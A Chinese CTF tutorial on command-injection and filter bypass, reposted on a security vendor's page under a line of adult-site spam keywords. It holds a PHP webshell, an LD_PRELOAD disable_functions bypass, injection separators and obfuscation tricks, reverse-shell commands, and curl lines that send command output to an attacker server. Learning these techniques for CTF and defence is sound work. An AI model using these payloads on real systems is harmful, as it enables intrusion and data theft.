国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動態(tài)

防御吧作為15年知名老牌域名服務(wù)商,CNNIC和CANN雙認證域名注冊商,已經(jīng)
持續(xù)為500多萬個域名提供服務(wù),包括智能DNS/自由轉(zhuǎn)移/隱私保護等服務(wù)!
CTF中的命令執(zhí)行繞過
2021-08-11 16:14:50 【

在介紹命令注入之前,有一點需要注意:命令注入與遠程代碼執(zhí)行不同。他們的區(qū)別在于,遠程代碼執(zhí)行實際上是調(diào)用服務(wù)器網(wǎng)站代碼進行執(zhí)行,而命令注入則是調(diào)用操作系統(tǒng)命令進行執(zhí)行。


作為CTF最基礎(chǔ)的操作,命令執(zhí)行的學習主要是為了以后進一步使用webshell打下基礎(chǔ)


同樣的,今天還會介紹如何使用各種命令執(zhí)行繞過的方式


首先我們先來看代碼執(zhí)行


動態(tài)調(diào)用:


這個地方是ctf曾經(jīng)的一個考點,也是我在強網(wǎng)杯出過的一道題目,叫"高明的黑客",里面使用的就是混淆代碼+動態(tài)函數(shù)調(diào)用,這種寫法實際上在紅藍攻防中很經(jīng)常用到,就是一堆函數(shù)進行混淆,然后在里面插入一個動態(tài)函數(shù)進行真正的代碼執(zhí)行或者是命令執(zhí)行。


當時那道題目的靈感是來自于一場安全響應(yīng),黑客攻陷網(wǎng)站后,在里頭插入了混淆以后的代碼,1000多個文件里面只有一條路徑是正常執(zhí)行的,最后是使用debug直接看棧內(nèi)存的調(diào)用來判斷哪個路徑是真的動態(tài)調(diào)用。


<?php

$a = 'assert';

$a($_POST['a']);

?>

常見的命令執(zhí)行函數(shù)


常見命令執(zhí)行函數(shù)

system()

passthru()

exec()

shell_exec()

`反引號

反引號


➜ ~ php -r "echo @whoami;"


這個是大家很容易忘記的一個命令執(zhí)行點,ctf賽題最近也出了很多道關(guān)于這個的題目。我們在第二篇中會拿一個例子來詳細分析他的作用。


命令執(zhí)行繞過


以上是我們常見的代碼注入或者是命令注入的函數(shù),但是很多時候在ctf中,出題人不會那么輕易的就讓我們執(zhí)行命令。因此我們必須要能夠掌握多種命令執(zhí)行繞過的姿勢。


一般來說,遇到的無非以下兩種情況:


1.disable_function


2.過濾字符


disable_function


這個東西很明顯就是什么呢,你能夠代碼執(zhí)行了,但是發(fā)現(xiàn)不論是蟻劍還是你自己手打,都執(zhí)行不了系統(tǒng)命令,然后你用phpinfo這種函數(shù)讀取后發(fā)現(xiàn)如下配置:


image.png


實際上是開發(fā)者在后端的php.ini里寫了如下語句


disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

最常用的就是兩種辦法


1.ld_preload


2.php_gc


ld_preload


今年來比較少考到,但是在紅藍攻防中很經(jīng)常應(yīng)用


需要對面滿足條件是:對面沒有禁用mail函數(shù)(可能這也是最近比賽不愛考這個的原因之一,如果禁用了mail,那等于就是考察別的點了,不禁用mail又一堆人用這個方法繞過,也很沒有意思)操作方法:


hack.c


#include <stdlib.h>

#include <stdio.h>

#include <string.h>

void payload() {

       system("ls /var/www/html > /tmp/smity");

}

int geteuid()

{

   if (getenv("LD_PRELOAD") == NULL) { return 0; }

   unsetenv("LD_PRELOAD");

   payload();

}

將帶有命令的c文件編譯成為.so文件然后通過代碼執(zhí)行傳入(這里可以直接用蟻劍)


gcc -c -fPIC hack.c -o hack

gcc --share hack -o hack.so

然后傳入如下php文件


<?php

putenv("LD_PRELOAD=./hack.so");

mail('','','','');

?>

訪問php文件就可以運行剛才的命令了。然后可以在/tmp/smity文件下看到ls的結(jié)果。


php_gc


從這兩次公益賽來看這個都是考點(春秋和高校)兩次的題目分別是:easy-thinking和php-uaf都是做到了代碼執(zhí)行卻沒有命令執(zhí)行,所以通常步驟就是,利用蟻劍鏈接我們的shell代碼執(zhí)行,將下面的腳本寫好命令傳上去然后訪問,利用phpgc進程Bypass 條件:php7.0 < 7.3 (Unix)


這里的大家可以參考這個博客,里面有比較詳細的腳本,因為太長了就不貼在這里了


https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/

過濾字符


這個限制一般是題目中允許你使用system,但是很奇怪的是你卻沒有辦法獲取執(zhí)行命令的結(jié)果


比如,對面過濾了空格,你能執(zhí)行l(wèi)s,但是沒法cat讀取文件


比如,對面過濾了flag這個詞語,什么文件都可以讀取,就是沒辦法讀取flag


等等,都是ctf題目做到最后,這個出題人小心思故意在這里卡你一下。這個時候你就需要試試我接下來講的這些方法:


空格代替


空格在bash下,可以用以下字符代替空格


<

${IFS}

$IFS$9

%09

root@kali:~# cat<test.txt

hello world!


root@kali:~# cat${IFS}test.txt

hello world!


root@kali:~# cat$IFS$9test.txt

hello world!

這里解釋一下${IFS},$IFS,$IFS$9的區(qū)別,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的時候,bash解釋器會把整個IFSa當做變量名,所以導致沒有辦法運行,然而如果加一個{}就固定了變量名,同理在后面加個$可以起到截斷的作用,而$9指的是當前系統(tǒng)shell進程的第九個參數(shù)的持有者,就是一個空字符串,因此$9相當于沒有加東西,等于做了一個前后隔離。


截斷符號


ctf很喜歡考的一點是命令執(zhí)行的連接,這個地方它通常會給一個已有的命令執(zhí)行,比如代碼寫好了ping命令,叫你填寫一個ip參數(shù)這樣的題目,這個時候就需要測試截斷符號,將你輸入的ip參數(shù)和后面要執(zhí)行的命令隔開。首先測試所有的截斷符號:


‘$’

‘;’

‘|’

‘-’

‘(’

‘)’

‘反引號’

‘||’

‘&&’

‘&’

‘}’

‘{’

%0a可以當作空格來用;

利用截斷符號配合普通命令簡單問題基本就出來;例如:ip=127.0.0.1;cat /home/flag.txt這樣就可以達到同時執(zhí)行兩條命令的效果


利用base編碼繞過


這種繞過針對的是系統(tǒng)過濾敏感字符的時候,比如他過濾了cat命令,那么就可以用下面這種方式將cat先base64編碼后再進行解碼運行。


root@kali:~# echo 'cat' | base64

Y2F0Cg==


root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt

hello world!

連接符,用兩個單引號可以繞過


cat /etc/pass'w'd這個是現(xiàn)在很喜歡考的點之一,基本能通殺大部分命令注入waf因為單引號一旦過濾很大程度上會影響正常解題。


image.png


反斜杠利用


這個是很經(jīng)典的hitcon題目,hitcon連續(xù)好幾年出了繞過長度限制執(zhí)行命令的題目


比如七個字符執(zhí)行命令


七個字的命令執(zhí)行


這里先介紹一下小技巧,linux下創(chuàng)建文件的命令可以用1>1創(chuàng)建文件名為1的空文件


image.png


ls>1可以直接把把ls的內(nèi)容導入一個文件中,但是會默認追加\n


image.png


\ 在linux里也是個連接符,最早使用在屏幕不能容納超過18個字符的第一代計算機,用于連接上下兩行,這里使用它來繞過限制


語句為wget 域名.com -O shell.php


ls > a 寫入服務(wù)器文件然后sh a 讀取


這里注意.不能作為文件名的開頭,因為linux下.是隱藏文件的開頭,ls列不出來


然而這里還有個問題,就是ls下的文件名是按照字母順序排序的,所以需要基于時間排序 將最后的命令改成ls -t>a


image.png


至于繞過5個字符執(zhí)行命令,繞過4個字符,那其實都是用\做的trick,這里不一一贅述了。


命令執(zhí)行結(jié)果返回長度受限制


這次在高校戰(zhàn)役上有一道題目提醒了我這個,出題人其實能過濾的就那么多,那么還有一種方法卡住你就是不讓你看到命令執(zhí)行的完整結(jié)果,比如不回顯或者是回顯一行,這次題目需要用道soapclient做代碼執(zhí)行,但是它有一點不好就是沒辦法回顯完整,只能看到一行結(jié)果,這樣對我們的命令執(zhí)行很不方便,而且dev文件沒有權(quán)限使用,這個時候我們可以用下面這個反彈shell的辦法。


其實反彈shell的命令大家很喜歡用這個:




bash -i >& /dev/tcp/ip/port 0>&1

但是這個有一點不好,他需要dev也需要bash,實際上用我下面這個命令會更簡單:監(jiān)聽端口后


nc -e /bin/bash ip port

這樣也可以拿到shell,其實本質(zhì)是一樣的,沒有太大區(qū)別,只是簡化了一下。


一道很經(jīng)典的命令執(zhí)行繞過


這個題目好像看到兩次了,一開始大家都不會腦洞,后來發(fā)現(xiàn)這次還是好多人沒有學會,也沒有去總結(jié)poc:


<?php


   highlight_file(__FILE__);


if ($x = @$_GET['x'])

{

               eva l(substr($x, 0, 5));

}

首先先明白這個地方限制了什么


1.限制了只能代碼執(zhí)行


2.限制了只能執(zhí)行一個變量$x


3.限制了這個變量的長度


所以這個地方一共有兩個思路


1.傳入數(shù)組,讓他能夠執(zhí)行多個變量,因為$_GET是個數(shù)組,但是這個思路是錯誤的,因為GET雖然能傳入多個變量,但是已經(jīng)限制了只能執(zhí)行$x,而$x來自GET數(shù)組里鍵值為x的變量,所以第這個我們放棄。


2.反引號執(zhí)行自己,傳入$x本身,也就是說,直接讓$_GET['x']=$x,這樣一來 ,就會使得$x=$x,如果$x是命令,就會通過反引號自己來執(zhí)行它


如果$x后面再跟上我們之前講的連接符會是什么樣呢


`$x`;abcd

那么即使取出前5個字符,還是會執(zhí)行整個的$x,用上分隔符就會執(zhí)行多條命令


假設(shè)我們在這里加點難度,沒有回顯,執(zhí)行命令但是不給你結(jié)果,怎么辦呢?


兩種方法




反彈shell





curl




反彈shell,我們這里可以使用;來連接命令,


$x;nc -e /bin/bash ip port


然后在自己服務(wù)器端口 nc -lvv 8080進行監(jiān)聽


但是這題要是再難一點,沒有權(quán)限執(zhí)行反彈shell這個操作呢


我們還可以用另一種方法:


curl的妙用


在curl里面有這幾種方式


直接ip發(fā)送get包


-d發(fā)送post包


-v 顯示整個通信過程


--data發(fā)送數(shù)據(jù)


這里可以使用curl -v http://ip?whoami


或者 curl -v http://ip --data whoami


IP為自己服務(wù)器,就可以在/var/log/apache2/access.log下看到命令執(zhí)行的結(jié)果了。


實驗推薦(點擊鏈接即可)--命令執(zhí)行漏洞(實驗以簡單PHP源碼調(diào)用關(guān)鍵系統(tǒng)函數(shù),通過WEB執(zhí)行任意系統(tǒng)命令)


】【打印關(guān)閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇網(wǎng)站被黑客攻擊了怎么辦?網(wǎng)站安.. 下一篇如何利用云備份抵御勒索軟件

立足首都,輻射全球,防御吧專注云防御及云計算服務(wù)15年!

聯(lián)系我們

服務(wù)熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術(shù)支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權(quán)所有 增值許可:京B2-20140042號
售前咨詢
公司總機:18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術(shù)支持
售后服務(wù)/財務(wù)
備案專員
緊急電話:18610088800